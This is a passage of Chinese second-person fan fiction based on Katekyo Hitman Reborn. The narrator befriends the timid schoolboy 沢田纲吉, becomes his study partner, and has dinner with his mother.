他连忙慌慌张张从桌肚里抽出纸巾,热意后知后觉包围他的全身,沢田纲吉羞愤地快要埋入地底了。 “对不起——!!” 沢田纲吉握着你手腕小心翼翼替你擦拭掌心, 自己脏兮兮的汗水居然碰到了你干燥的掌心,沢田纲吉生怕他会被你嫌弃。 你们之间的第一次见面已经不完美了, 结果又在完成第一个愿望时搞砸了一切, 现在他又弄脏了你,沢田纲吉失落极了。 果然,他依旧是是大家口中的那个废柴纲,无论做什么都做不好。 强行克制着眼眶发热,沢田纲吉控制不住地开始胡思乱想,会不会,他想要和你成为朋友的请求和行为都对你造成了困扰…… 干净柔软的纸巾细致地将你每一根指节擦拭干净,你低头只看到一团毛茸茸的棕发, 因为刚刚摔倒,几缕发丝不听话地翘起,并随着主人的动作而微微晃动,你知道这团棕发有多柔软,感受着手掌被沢田纲吉耐心认真地对待,你不自觉歪了歪脑袋。 低着头,沢田纲吉看不见你的表情,他还在慌乱地解释,连声音都开始止不住地颤抖:“一定是因为我从家里跑到学校出了不少汗,但是明明已经被风吹干了啊……” “——总之万分抱歉!” 说到这里,沢田纲吉又忍不住泄气道:“我是不是给春也造成了很多困扰。” 很奇怪。 晨风徐徐吹拂在人脸上,天气在你无知无觉中悄然上升几个度,你罕见地感受到了一丝古怪的温暖。 看到沢田纲吉那几根翘起的棕发被风吹倒后又顽强地竖起,你坐在位置上,单手托腮,你盯着沢田纲吉动作,忽然,你慢慢抬高手,沢田纲吉也随着你的动作站起来,你又降低手的高度,沢田纲吉像是没发现你的小动作一般自然调整高度。 在你任性又随意的动作里,你完全没从他脸上看出任何不满和怨言。 也是这个时候,你惊觉,从你和沢田纲吉见面开始,他总是格外小心翼翼地对待你。 沢田纲吉,是个很奇怪的人。你想,如果狱寺是团刺挠别人又焚烧自己的带有利刃的烈火,那么纲吉恰恰与他相反。 他好像没有自己脾气,像一团温和没有锋芒的水,悄无声息融入这个平常的世界。 听到沢田纲吉自暴自弃的话,你终于有了反应。 “没关系。”抬起干净修长的手指,你静静端详了很久,半晌,你重新握住沢田纲吉的手,你慢吞吞重复了遍:“没关系。” “何况,纲吉也没有给我给我造成困扰。” 见沢田纲吉的眼睛依旧是懵懂的茫然,你抬手轻轻捏住他的下颚,拇指和食指略微用力,你缓缓抬高他的下巴,“纲吉不用这么小心翼翼。” 轻而慢的语调透着你惯有的漫不经心,沢田纲吉忍不住屏住呼吸,他呆呆注视着你帽檐下的灰蓝眼瞳,心脏被你牵引着加速跳动,沢田纲吉无法抑制地感到战栗。 “我很喜欢纲吉哦。” 大脑深处的记忆力模糊地告诉你,培养小孩子的自信心需要不断地给予对方正向鼓励,还要让小朋友感受到爱与温暖。你自认自己早已没了那种东西,但语言上的输出你还是可以做到的。 “你看,察觉到问题,纲吉第一时间选择解决问题,这是连很多大人都做不到的事情。” “真、真的吗?” 沢田纲吉眼里那簇弱小摇曳的火苗慢慢变大,指尖不轻不重划过他的眼下角,你想,果然,沢田纲吉的眼睛还是亮点好看。 你依旧随意地点头,“第一次见面,纲吉明明要迟到了,却还是愿意先处理我的伤口……” 在你悠长缓慢的语调里,小小的、平凡的、普通的沢田纲吉像是会发光,沢田纲吉从来没发现自己竟然也可以在别人的嘴里得到正面评价。他先是惶恐,惴惴不安地想要在大声反驳——不,不是,他是运动神经差劲考试从来倒数没有人喜欢的废柴纲。 但随即,沢田纲吉看到了你的眼睛。弯起的灰蓝眼瞳像浸染了夜色的凉水,他无知无觉浸染其中。像沉溺深海,比恐惧警惕先一步出现的是如同倦鸟归林般的安心。 胸口冰凉的硬币在不知不觉中染上了他的温度,沢田纲吉忽然转过身背对你,手背狠狠在眼角擦了擦,沢田纲吉吸了吸鼻子,又重新转过身。湿漉漉的眼角泛着红,他鼓起勇气大胆握住你的手,“我也最喜欢春也了!” 他说的小声又坚定,你注视着沢田纲吉湿润泛红的眼睛,微妙愣神片刻。 沢田纲吉还想再和你说话,没等他开口,下一秒,满脸写着镇定的班级委员长来到你们面前,见你和废柴纲同时抬头看向他,班级委员长紧张地咽了咽口水,眼神飘忽不敢直视你的眼睛,他故作镇定地敲了敲你们的桌面:“交作业了。” 经历了昨天诡异可怖的幻觉、回到家还做了要死的噩梦,班上的人一时之间不敢直面你。你们的动静不大,不刻意关注没有人知道你们在说什么,原本见今天你没有和废柴纲一起上学,他们还以为废柴纲被你抛下了呢,没想到你们两个又开始正常交流, 看来废柴纲在你的保护圈,原来还有几个死性不改的人蠢蠢欲动,眼见你们关系亲密,又歇了那股心思。 他们只是坏,不是蠢。 如非必要,班级委员长也不想直接对上你,但你和废柴纲的作业都还没交…… 听到作业两个字,沢田纲吉总算知道自己忘记了什么,难怪昨天晚上自己居然过得那么开心,原本他还纳闷呢,这下好了,不用纳闷了。 求救的眼神刚要投向你,沢田纲吉忽然想到,昨天你也逃课了。 你比左顾右盼结结巴巴的沢田纲吉直白多了:“我没做。昨天我连卷子都没拿到。” 大约是有了共犯,沢田纲吉忽然有了奇奇怪怪的底气,他小声回答:“我也没收到试卷。” 班级委员长了然点头,他看看你,又看看废柴纲,想起昨天的噩梦,犹豫了会,班级委员长小声提醒:“下节课交卷子,你们可以趁现在先补。卷子我给你们拿。” 班级委员长也想起来了,昨天为什么会多出两份试卷。 昨天他们全都陷入了昏迷,快要放学才醒,脑子还不清醒的众人自然忽略了不在班上的两个人。 小跑到讲台,班级委员长拿着两张干净的空白卷子放在了你们桌上:“这是昨天的作业。” 因为昏迷,老师布置的作业全都缩水了一大半,到最后只剩下数学试卷存活,现在就补还来得及。 你低头看了眼,全是日文。以你的水平,勉勉强强能看懂。小学生的试卷,对于通过了高考的你来说,轻而易举。 唰唰两下,你很快完成。一旁的沢田纲吉还在和第三道题作斗争,他抓耳挠腮好不容易算完并写上自己自认为正确的答案,无意扭头就发现你写完了卷子。 沢田纲吉:! “要吗?”注意到沢田纲吉震惊的视线,你扬了扬手中的试卷。沢田纲吉犹豫了一秒,还是没有忍住诱惑,他接过了你的卷子。 沢田纲吉震惊:“前三道我们答案都不一样!” 正在他犹豫要不要更改答案时,沢田纲吉听到了你的回答:“说不定你是对的呢。” 沢田纲吉思考了一会,他觉得你说的有道理,数学题,偶尔,碰运气,他还是能答对的。 万一呢,抱着侥幸心理,沢田纲吉保留了自己原始的答案。 第63章 ——大失败! 下午, 批好的试卷发了下来,沢田纲吉震惊看着卷面上大面积的红圈,这还是他第一次答对这么多题, 匆忙扫了一眼, 唯一出现的错误还是他认真思考过的前三道题。 沢田纲吉喃喃自语:“原来, 春也竟然意外地擅长数学题吗?” 你不意外地看着自己满分的答卷, 黑笔在指尖灵活转动,单手托腮, 耳边是沢田纲吉苦恼自己怎么也算不对的声音, 目光扫向悠远湛蓝的天空,你懒洋洋眯起眼睛。 好希望骸骸、犬和千种也能感受到此刻慵懒惬意的时光啊。 舒适温凉的风吹得你几乎快要睡过去, 意志力□□了几秒,你困倦地打了个哈欠,脑袋换了个方向继续趴着。沢田纲吉还在那里抓耳挠腮,手中笔飞舞,草稿纸上涂涂改改, 最终,看着自己算出来的答案, 沢田纲吉绝望抓头。 你好奇凑过去:“老奶奶以123km/h的速度走回了家……” “哇哦。”你惊叹, “你这个答案和公交车剩下3.5个人有异曲同工之妙啊。” 沢田纲吉羞愧捂脸,他也知道自己的这个答案很离谱啦,但是…… “我算了很多遍,就是算不到正确答案啊。” 脑袋泄气地抵着桌子,沢田纲吉沮丧极了,脸颊上的软肉软趴趴压着桌面,长长的睫毛在眼睛上扫下一片阴影。剔透如玻璃的眼睛倒映着红勾红圈,沢田纲吉忽然把脑袋埋入手肘间, 手指疯狂抓挠了几下头发,他苦恼地都快瘫成一块兔饼了。 你若有所思地盯着沢田纲吉看了几眼,在沢田纲吉颓然挣扎算数的过程中,数学老师来了。不熟悉的语言听得你昏昏欲睡,脑子还没有建好翻译中转道,每个人说的话都像不可名状的低语,你脑袋一歪,彻底睡了过去。 沢田纲吉第一时间注意到了你的反应,他连忙偷偷将竖起的书挪到你脑袋前,确认老师没有注意到这边后,他松了口气。 一开始,沢田纲吉还在努力听讲析,很快,在弯腰捡起不小心滚落地面的笔后,再次抬头,沢田纲吉蒙圈望着板书上突然快进了无数步的例题,他茫然地眨了眨眼,扭头看了眼四周,发现大家脸上全都是恍然大悟的表情,他低头看看自己记录到一半的步骤,沢田纲吉不由陷入了自我怀疑。 犹豫着要不要举动提问,老师已经飞快略过了这道大家都会的题目,沢田纲吉沉默盯着自己干净整齐的卷面,他缓缓伸手遮挡住那本不属于他的红圈。 之后几题沢田纲吉依旧试着努力听讲,但每次讲解到一半,他的大脑再次被疑惑不解填满,就像老师不明白为什么这么简单的题目都会有人做错,沢田纲吉也无法明白为什么解题步骤能从一加一等于几直接达到如何求拉格朗日中值定理这一步。 发现自己始终无法听懂,原本还有些动力的沢田纲吉自暴自弃地瘫在桌上,安静盯着如同天文的数学题目,沢田纲吉歪过脑袋试图从短暂的窒息中脱离,恰好对上了你的睡颜。 从最开始认识你的时候,沢田纲吉就发现你无时无刻都戴着帽子。红色绸带缠绕着黑色帽身,帽檐边缘弯曲成曲线流畅的波浪,围巾遮掩着你的下巴,你像是藏匿在花丛中安然熟睡的精灵,沢田纲吉也学着你趴下,食指和中指曲起,像软塌塌的大腿慢吞吞朝你靠近,触碰到你帽檐边缘后,沢田纲吉静静止住动作。 你绵长静缓的呼吸声缓慢传递到他耳畔,升起的阳光懒洋洋趴在你身上,将你慵懒披散在后背的乌黑发丝渲染成璀璨夺目的金色,不知不觉,沢田纲吉看得入神,耳边老师讲课的声音和同学偶有的讲话声慢慢离他远去,沢田纲吉眨了眨眼。 大约困意是会被传染的,很快,沢田纲吉也打起了哈欠,他努力睁大眼睛试图抵抗睡虫的侵袭,但老师的讲解对他来说实在像是听天书,内心煎熬了好久,自认抵抗成功的沢田纲吉在听到下课铃声后猛然惊醒。 “砰!” 脑袋撞到桌面发出清脆的巨响,沢田纲吉不可置信地看着自己记下的知识点,越到最后,他的字迹越是狂放,直到沢田纲吉自己也无法认清他写的究竟是什么。 他居然……还是睡过去了吗?沢田纲吉抹了把脸,几经纠结,沢田纲吉被迫接受了自己抵抗失败睡虫失败的事实。 “结果还是什么都没有听到啊!!!” 你扭头看去,沢田纲吉像只失意体前屈的兔子,脑袋上不存在的耳朵耷拉下来,本来就看不懂那些步骤,现在自己的字迹紊乱,他更加难以理解它们。 睡醒后的你心情还不算不错,指骨不轻不重叩了叩沢田纲吉的桌面,像是叩响了小兔子的家门:“有疑问吗?” “噫!” 沉浸在自己思绪里的沢田纲吉一惊,他瞬间直起腰背,“不如说问题很多吧,我完全没有听懂。” 其实是后半场自己也睡过去了,但不知为何,见你凑近观看他潦草记下的笔记后,沢田纲吉忽然有些不好意思告诉你他走神的事情。 你静静看着沢田纲吉潦草的字迹没有说话,沢田纲吉见你看得认真,他不自觉屏住呼吸,下课的时间本就短,等你慢悠悠浏览完,上课铃声又响起了。 “最近学校会开展互帮互助小组活动,由成绩优秀的同学帮助成绩不好的同学,你们可以先自由寻找搭档,也可以等我之后来替你们分配人选。” 数学老师踩着点悠悠整理完教案,趁着下堂课的老师还没到,他托了托下滑的眼镜片,语气严厉:“有些同学,成绩不好上课还不认真听,再有下次,直接给我出去站着。” 这完全是在点我吧!!沢田纲吉将头埋得更低了,虽然不知道这次老师为什么没有直接点自己的名字,但很有自知之明的沢田纲吉完全大气不敢喘一口,直到数学老师离开,他这才缓缓松了口气。 互帮互助小组啊…… 沢田纲吉第一反应是不会有人愿意和他组队,很正常,没有谁会愿意帮助他这样的存在。但很快,像是想到什么,沢田纲吉抬眼悄悄看向你。 春也,会选谁呢? 不是沢田纲吉自大,但很明显,在这个班级里,如果好感度能像游戏一样具现化,在你心里排名第一的有很大概率是他自己。 迟疑着要不要率先邀请你,沢田纲吉发现你在听到老师的话后始终没有特别的情绪波动,而恰好,任课老师的出声又打断了沢田纲吉说话的勇气,一下子,沢田纲吉像是被戳破的气球,开始噗滋噗滋冒着没有温度的气体。 你自然听到了数学老师的那句话,视线绕着班级转了一圈,你完全没有乐于助人的精神,更何况,你本身就对班级的初始印象不好,你才懒得委屈自己。唯一看得还算顺眼的也就眼前这个棕发刺猬头了。 沉思着,还没等你想好解决方法,下课了。 “春也同学春也同学,我可以邀请你成为互帮互助小组的搭档吗?” “春也同学是转学生吧,我可以帮助你哦。” “我看到春也同学的数学试卷了,拜托了,我想要得到春也同学的帮助!” …… 原本还有害怕你的同学在老师话音落毕后,纷纷来到你身边。冷漠旁观、无所作为的学生受到的影响会比霸凌的人小得多,经历过一天的沉淀,加上数学老师之前还在数学课上表扬过你,不少同学对你这个转学生依旧保持着好奇心。 虽然看不清你的容貌,但转学第一天都威慑班级里的刺头并让所有人得到教训,心里微妙的强者情怀让他们无意识崇拜你, 在第一个人打破距离后,胆子大的慢慢试图靠近你。 沢田纲吉沉默看着这一幕,在听到你出声后,终于,他忍不住站起来离开了这里。离开教室门前,他鬼使神差回头看了你一眼,你被众人簇拥着,沢田纲吉这才恍然,原来没了他,其他人也会选择靠近你。 是啊,他本来就知道,你这么好的人,不可能不被人喜欢,但好奇怪,沢田纲吉发现自己并不因为你受欢迎而开心。晃了晃脑袋,沢田纲吉将自己糟糕的想法扔到脑后。 沢田纲吉承认自己就是在躲避,他根本就不想从你嘴里听到你会选择除他以外的搭档,与其自己被放弃,还不如他先行一步远离。这样,他的难过说不定就会少一点。 洗水池,沢田纲吉将脑袋埋入水流,上课铃声响起前,他猛然抬头,潮湿的水珠浸湿了他额前的发丝,用袖子简单擦拭干净脸上的水珠,沢田纲吉没有在意变得湿漉漉的袖子,他垂着脑袋,像是等待审判的落水小狗,他慢吞吞回到座位。 直到放学,沢田纲吉也没敢再问你搭档的事情。见你安静趴在桌上,他没有吵醒你,怀揣着心事,沢田纲吉耷拉着脑袋焉哒哒回到家。 啊啊啊啊到底为什么他不直接问你?!!拉扯着乱糟糟的头发,沢田纲吉在心里无声呐喊,万一呢,万一其实你还没有找好搭档呢。 “咚咚咚!” 忽然,有人敲响了大门。沢田纲吉从自己的思绪中抽离,他起身打开门,你就站在门前,笑意盈盈地看着他。 “我来找纲吉实现第二个愿望啦。” 第64章 随意打发掉过来想与你搭档的小朋友, 单手支撑下巴,你无聊地转着笔,思绪在温凉的清风中飘远, 等到上课铃声响起, 沢田纲吉终于磨磨蹭蹭地回到教室。 你的课本还没到, 翻阅着他干净的课本, 忽略略微折角的页尾,你忍不住看向从最开始就一直保持沉默的同桌。 你觉得沢田同学很奇怪。 清清爽爽去了趟洗手池, 潮湿丧气回到了座位。明明脸上的表情好懂到过分, 但有时他干净的小脑袋瓜又意外地让人难以捉摸。 这个年纪的小朋友都这么难懂的吗?回想犬、千种和骸骸,你不理解地趴在桌面。 晴天的风像温和缠绵的丝线轻飘飘勾起书页一角, 纸张摩擦间的细微轻响莫名让人感到烦闷,一根细白的手指恶狠狠按住吵闹的书页,你看过去,沢田纲吉正低头死死盯着打扰到他的书页。 同桌额前的刘海还打湿了一大片,棕色发丝湿漉漉地贴在他脑门, 本来同桌平时的表情就已经够无辜纯良了,没想到沾了水后更像雨季的落水小狗, 湿漉漉的大眼睛氤氲潮湿, 直白地告诉你他有好多好多委屈和倾诉欲,但下一秒,对方又别扭地转过脑袋不看你。 你还没生出不开心的情绪呢,沢田纲吉又像只鬼鬼祟祟暗中观察人类的小动物,偷摸着悄悄看你,平时运动水平差劲到可以平地摔的笨蛋,这个时候倒是敏锐得紧,察觉到你即将发现他, 毛茸茸的棕发脑袋快速扭过,等到你再看时,只能望见一颗情绪古怪别扭的棕色口蘑。 认真观察了下沢田纲吉的神态,不排除了受人欺负这一选择,那么就只剩下一个可能了。 这家伙、是在撒娇吗? 你若有所思盯着同桌潮湿的袖口,聪明的大脑分析一波,你觉得你找到了真相。 你开始思考,思绪渐渐从“纲吉的撒娇可真特别”飘远。 ……互帮互助小组的搭档你已经想好要选谁了,你也不觉得你的同桌会拒绝你,不过后续的补课事宜你还得好好考琢磨琢磨。 思考着思考着,你困了。 自从来了并盛,你的身体莫名开始犯困,你一直怀疑这所学校有特殊的催眠效果,虽然暂时还没找出原因,但你还是遵从了身体的自然规律。 你熟练压低帽檐睡了过去,自然也就没能看到沢田纲吉望过来的眼睛。 直到再次清醒,你才发现教室里的人走了大半。在座位上修整了一会,你看着旁边的空座,随意叫住一位小朋友,你问道:“沢田纲吉住哪儿?” 住在并盛的人大都知根知底,被你叫住的小朋友僵着身体,看不见你的表情,犹豫着,眼见你的动作愈发不耐烦,他连忙快速又准确地回答了你。 ——还好,他恰好知道废柴纲家的地址。 寸头小朋友看着你离开的背影,他心有余悸地拍了拍胸口,想到你之前的表现,他生怕自己答不出来就会遭到你可怕的打击。 你丝毫不知道寸头小朋友在心里怎么诽谤你,不过就算知道你也不会太在意。顺着他指的路慢慢走,路过玻璃橱窗时,你无意瞥见自己的休闲服,你感觉自己的穿搭缺了点什么,视线不由在过路的橱窗打量,忽然,余光瞥到什么,你眼睛一亮,走了进去。 等到再次出来,你满意穿着新上身的搭配往沢田纲吉家去。 正好,本来你还不知道第二个愿望该许什么,现在恰好有了个现成的参照。 找到沢田家的门牌,你站在他门前,抬了抬帽檐,你敲响了他家大门。 大门缓缓打开,毛茸茸的小脑袋从门后冒出,你弯起眼睛,笑道:“成为我的搭档吧,纲吉。” “这是我的第二个愿望。” …… 他是在做梦吗?沢田纲吉恍惚以为自己还没睡醒,不然他怎么会在门口看到你?直到你踏足他家,沢田纲吉还有些身处梦境的飘飘然。 “阿纲,是谁来了啊?” 妈妈的声音从厨房间飘来,沢田纲吉晃了晃脑袋,“是…是我的同学。” 现在,你们还不是朋友。 “呀,阿纲居然带朋友回家了吗?”沢田奈奈惊讶从厨房间出来。 你抬头看去,和沢田纲吉同发色的年轻女人来到你身边,她的身上混杂着浅淡的甜品气息,看到你,女人温和的棕瞳变得更加柔软, “这还是阿纲第一次带朋友回家呢,还以为阿纲在学校根本交不到朋友,果然还是我太忧虑了啊。” “都说了还不是朋友啦,妈妈。”沢田纲吉小声反驳。 你也一本正经地反驳:“是的,我和纲吉还不是朋友关系。” 沢田奈奈眨了下眼,她弯起眼睛,“那阿纲可要继续努力哦,今天妈妈做了蛋糕哦,还有阿纲最喜欢的汉堡。这位……” 见沢田妈妈犹豫着不知道该怎么称呼你,你从善如流报上姓名:“我是今春也。” “今春也,真是一个充满春天气息的名字啊。”沢田奈奈真诚夸奖道:“春也可以留下来吃饭哦,今天我做了很多饭菜,还有甜品。阿纲一定也会高兴春也留下来的。” 沢田纲吉羞恼:“妈妈——!!” “阿拉,阿纲害羞了呢。” 你没有加入沢田纲吉羞恼式的撒娇,不动声色打量起陌生的环境,你并没有发现第三个人生活的明显痕迹,若有所思盯着心情不错的沢田妈妈,你掩下眸中思量。 沢田奈奈留下“阿纲要好好招待春也哦”这句话后就进了厨房,徒留本来还沉浸在丧气纠结中的沢田纲吉独自面对你。 脑子还不知道该怎么面对你,身体已经很诚实地走向你,极力克制住翘起的嘴角,沢田纲吉期期艾艾地靠近你:“春也怎么会找到这里?” “想要寻找的话,不管怎样都会找到目的地。”你自然坐在沙发上,见沢田纲吉还傻愣愣站在那,你朝他招了招手。 不是,这个招手的动作也太自然了吧,沢田纲吉嘴比脑子快:“春也怎么比我还熟悉这里啊。” 完全就像是生活在这个家的主人啊。 “还有,不要老是像招狗一样招我啦。” 沢田纲吉条件反射走向你,他嘴上抱怨着,却因为声音过轻过小而像是在和你撒娇。 “第三个愿望,纲吉要心怀感激地接受我的一切行为。” “不要因为我和你抱怨就直接用愿望忽略过去啦!!” 沢田纲吉鼓起腮帮,说不清是生气还是无奈,他别别扭扭地离你很远坐下,又在你说话间以听不清你讲话为理由安慰自己悄悄挨近你。 “还有第二个愿望是和我成为搭档什么的,也太作弊了啦。明明这只是老师布下的任务,春也就这样浪费一个愿望会不会……” “因为想要更快地和纲吉成为朋友。” “……什么?” “愿望只是我们成为朋友的媒介而已。” “我很期待和纲吉成为朋友呢。” 你不知道你说这话时是什么神情,但很明显,沢田纲吉被你感动到了。他先是大脑宕机,而后不可置信地看向你,最后,发达的泪腺极力彰显着存在感,沢田纲吉感动得眼泪汪汪。 什么纠结什么别扭什么委屈难过,在你这番话下统统消失得无影无踪,沢田纲吉睁大湿漉漉的眼睛,他忽然用手捂住脸,转过身吸了吸鼻子,声音控制不住地哽咽:“我也超级想和春也成为朋友!!” “所以,我会努力的!” “我愿意——成为春也的搭档!!不如说,春也能选择我这样的废柴成为搭档真是太好了。” “我一直想和春也说话,想把我渴望成为春也搭档的心情告诉春也,但是…但是…我知道我自己只是一个做什么都不行的废柴纲,就算春也不选择我也没什么,我一直在心里反复告诉自己,就算春也选择了别人我也不会难过……” “但是果然,春也不选择别人真是太好了。”你听着沢田纲吉剖析自我,稚嫩的嗓音哽咽又真挚,“这样想的我真是太坏了,可是对不起,看到春也敲门真的很开心,听到春也邀请我成为搭档作为第二个愿望很开心,见到愿意听我说些无聊话的春也也很开心……只要是春也,只要看到春也,我就无法控制自己开心的心情,也无法控制那些坏心思坏情绪,可是…可是……” 哭腔越来越明显,沢田纲吉的小身板也开始一抽一抽。 坏心思坏情绪……原来如此啊,你恍然大悟,倦怠的脑子前所未有的清醒。 原来,沢田纲吉也受到了你的影响吗?你俯身掰过他的脸,他也没有挣扎,你毫不费力就看到了沢田纲吉流泪的模样。 他在哭泣。 他在因为你而哭泣。 他在为自己因你生出阴暗的心思却又无法控制而哭泣。 …… 太精彩了。你的呼吸不可避免变得急促,诡异的兴奋自心脏开始蔓延,大拇指缓缓擦去他脸上的泪珠,但下一秒,豆大的泪珠又从沢田纲吉眼眶里倾涌而下。圆润、剔透,像清晨缓慢滴落蛛网的冰冷露珠,但沢田纲吉的泪珠是滚烫的,甚至微妙烫到了你的心脏。 “没关系。”你听到自己的声音前所未有的轻柔,宛若深海里诡谲蛊惑的海妖,你捧起他的脸,“这样的阿纲,很可爱呢。” “无论阿纲怀有什么样的心情,都没关系。” 沢田纲吉呆呆注视着你,最后一滴泪珠堪堪悬挂在下睫毛,透过你帽檐间的缝隙,他看到了你的眼睛。幽深、朦胧,却又亮得惊人。 好奇怪,他应该害怕的,古怪的直觉疯狂向他发出示警,可比那一切先出现的是难以言喻的满足。 ——你的眼里,终于出现了他真实的倒影。 沢田纲吉模糊且朦胧地感知到,直到此刻,你才真正将他望入眼底。 这是不是说明,你已经开始慢慢接受他了?沢田纲吉茫然地眨了下眼,最后一滴泪珠落到你虎口,而后缓缓浸润你的皮肤,只留下一点潮湿的痕迹。 “阿纲,真是个好孩子啊。”你歪了歪脑袋,果然,骸骸说的没错,并盛非常有趣。“我已经迫不及待想看到阿纲完成我一百个愿望的那一天了呢。” 沢田纲吉听懂了你的期待,浸润过泪水的眼睛格外明亮,他羞涩又坚定地说道:“春也的第三个愿望我也绝对会做到。” “无论什么行为,只要是春也,我都会做到接受。” “所以,春也的第一百个愿望,我也会努力的!” 第65章 “可以吃饭了哦, 阿纲春也。” 温和的女声从厨房传来,“叮”一声·,沢田奈奈打开烘焙箱, 甜美幸福的松软蛋糕气息如流水缓缓流淌至房间的每一个角落, 你感觉自己的衣服都浸染了香香甜甜的味道。 “好的!妈妈我来帮你。” 沢田纲吉捣腾着两条小腿跑到厨房帮忙端菜盘子, 一不小心脚底一滑, 沢田纲吉重重摔倒在光滑的地面,连带着手里的盘子霹雳吧啦碎了一地。慌乱间, 手不小心撑到碎瓷片里, 明显的刺痛让沢田纲吉痛呼出声。 这一跤摔得结实,隔着一段距离你都能听到厨房里沉闷的巨响, 你走过去,恰好看到沢田妈妈无奈摇头,“真是的,说了很多次,阿纲不要随便进厨房啊。” “妈妈自己一个人也可以的, 阿纲乖乖在外面坐好。” 沢田奈奈蹲下身抱起蛋花眼的小纲吉,打开水龙头任清水洗干净他手上的鲜血, 沢田奈奈熟练拿出柜子里的创口贴:“还好口子不大, 不然还要去医院缝针,到时候阿纲又要哭鼻子。” “我已经不是三岁的小孩子了。”你还在场,沢田纲吉咽下痛呼,他仰着脑袋看妈妈认真替他上药,沢田纲吉嘟囔着反驳。 “是是是,阿纲已经是个大孩子了。”沢田奈奈附和着自家笨蛋儿子,忽然,像是想起什么, 沢田奈奈笑容天然:“阿拉,那上次拔牙,哭唧唧了一整天的是谁?” 沢田纲吉顿时羞恼:“妈妈——!!” 你又一次见证了沢田纲吉的黑历史。 处理完伤口,沢田奈奈洗净手拿了块小蛋糕递到你嘴边:“尝尝吗,刚出炉的味道会更好哦。” 沢田妈妈是个很好相处的人,咬着蛋糕,你在心里补充了句,当然,她的厨艺也是数一数二的。沢田奈奈边打扫碎瓷片,边笑着和你说话:“阿纲总是毛手毛脚的,就连在平地上也会摔跤呢,有的时候我也拿他没办法。” 真是的,明明妈妈和爸爸都不是运动笨蛋,也不知道阿纲遗传了谁。 沢田纲吉在沢田妈妈嘱咐下乖巧坐在外边等待,你没有错过他离开时眼底流露的一丝失落和泄气,目光重新投向无奈抱怨的女人,你歪了歪脑袋。 “沢田妈妈很苦恼吗?” “与其说苦恼,不如说是担心吧。”清理完毕,沢田奈奈抬头看着坐在椅子上晃着小脚的阿纲,她嘴角带笑,静静看了无聊晃腿的阿纲好一会,沢田奈奈扭头看向你,眼里还带着感激:“春也能和阿纲做朋友真是太好了呢,这孩子一定给你带去了很多苦恼吧。” 自从阿纲开始上学,沢田奈奈偶尔会产生模糊的错觉,阿纲似乎没有以前开朗了。但好像,这确实只是她的错觉。阿纲明明还是以前的那个阿纲啊。 “我和阿纲还不是朋友。”你慢吞吞回复:“他也没有给我带来困扰,恰恰相反,阿纲给我带来了很大的惊喜。” “诶,惊喜?!” 你忽地弯了下眼睛,“是啊,阿姨的儿子,很棒呢。” “所以,阿姨也稍微对自己的儿子升起点自信心吧,他远比我们想象中要优秀得多。” 沢田奈奈怔然看你离开,安静站在厨房,隔着玻璃,她看到你走向自己小小的儿子,不知道你说了什么,很快,阿纲的脸上再次出现了软乎乎的明亮笑容,他还无用功地企图藏起自己包扎好的那只手…… 沢田奈奈能猜到阿纲的心思,他不想让你担心,哪怕你已经看到了他受伤的画面。小小的阿纲总是这样懂事,从诞生在她肚子里开始,阿纲就没让她吃过苦。思绪难得飘远,沢田奈奈忽然想起她最开始对阿纲的期望。 ——以后我们的孩子,我只要他健康开心就好。 ——他会的。 飘忽的眼神缓慢在沢田纲吉身上定格,沢田奈奈看着阿纲对你亲昵信任的举动,她久违地想到了很久以前,自己努力生下阿纲时幸福的笑容。 是啊,一直以来,阿纲都是个很棒的孩子。她怎么会把这一点忘了呢。 看着看着,沢田奈奈缓缓弯起眼睛,她哼着歌,心情愉悦地端着小蛋糕放到你和阿纲的中间。 这样不是很好吗。 “诶?!现在就可以直接吃蛋糕了吗?!!” “当然——不可以。”沢田奈奈笑眯眯地盛好米饭放到阿纲面前,“要先吃完正餐才可以,小孩子挑食会长不高哦阿纲。” 好吧,他就知道。沢田纲吉乖乖坐正,虽然他自认已经正式迈向大人的世界,但尚且还在上小学的沢田纲吉还是需要乖乖系好围兜,防止米饭吃得到处都是。 一个人在家的时候,沢田纲吉并不觉得自己这个行为有什么,但旁边多了一个你,沢田纲吉忽然感到了不自在。 “我可以不戴这个啦,妈妈。”沢田纲吉不自在地动了动身体,对上你的视线,他红着脸试图躲避妈妈的动作。 见阿纲不配合,沢田奈奈看了眼手上新买的小围兜,疑惑道:“阿纲是不喜欢这个花纹吗?” “根本不是这个原因啦!” “但是不戴的话,阿纲又会把饭吃得到处都是呢。”沢田奈奈苦恼歪头。 沢田奈奈这句话说完后,你看到沢田纲吉脸上的红晕又深了一个度,他羞愤地大声反驳:“我会很小心的啦!!” 总之,在沢田纲吉强烈拒绝下,他最终还是没有戴上那个蠢萌兔子样式的小围兜。你遗憾收回目光,还以为可以解锁阿纲特殊的新形象呢。 胜利阿纲警觉扭头,他疑惑歪了下脑袋,只看到你低着头认真扒饭。 暗红色的围巾被你扯下,你总算露出了全貌,但头顶的帽子还是遮掩了你小半容貌,在其他人面前,沢田纲吉从未看到你摘下围巾过,更别说暴露容貌了。 这也算是你信任他的一个表现吧,沢田纲吉小口小口扒着饭,不自信地想。但不可否认,他诡异又开心了起来,沢田纲吉喜欢你对他的这份特殊。 你不知道沢田纲吉的小脑袋瓜又开始了自我攻略,你眯起眼睛愉快进食,沢田妈妈的厨艺是真的不错啊,当然,在你眼里,排名第一的还是骸骸、犬和千种做的食物。 空闲下来,沢田奈奈注意到了你的装扮,她像是才察觉,沢田奈奈笑容温和:“春也穿得好像一个小老师呢。” 沢田纲吉这才观察起你的穿搭,原谅他一开始的注意力全在你本身。 “莫名有股奇怪的威慑力啊。”沢田纲吉小声说出自己的想法。 “这是为了阿纲准备的哦~” 沢田纲吉大惊:“噫!为了我?!!” “等等,阿纲?”沢田纲吉终于发现你改了对他的称呼,从小到大,只有妈妈这么叫过他,沢田纲吉扒饭的动作慢了下来,他不由睁大眼睛看向你,沢田奈奈和阿纲表现一样,母子二人同步望向你。 “是啊,从今天开始,我就是阿纲互帮互助小组里的搭档了。”你用筷子假装教棍,指关节推了推不存在的眼镜,你表情认真:“直到搭档关系解绑,我都会是阿纲的老师。” “太好了,那阿纲的学业就拜托春也了!” 显然,沢田奈奈是最高兴的,她可是一直苦恼着阿纲越来越糟糕的成绩呢,沢田奈奈双手合掌,她笑容天然道:“阿纲一定会很高兴的。” 妈妈居然就这么简单地接受了吗?!沢田纲吉在心里吐槽,这也太信任你了吧!要不是知道妈妈今天是第一天见你,沢田纲吉险些以为妈妈早就认识你了。 “阿纲的话,我只是觉得这个叫法更简单。”你朝着沢田纲吉歪了歪脑袋:“阿纲不喜欢吗?” 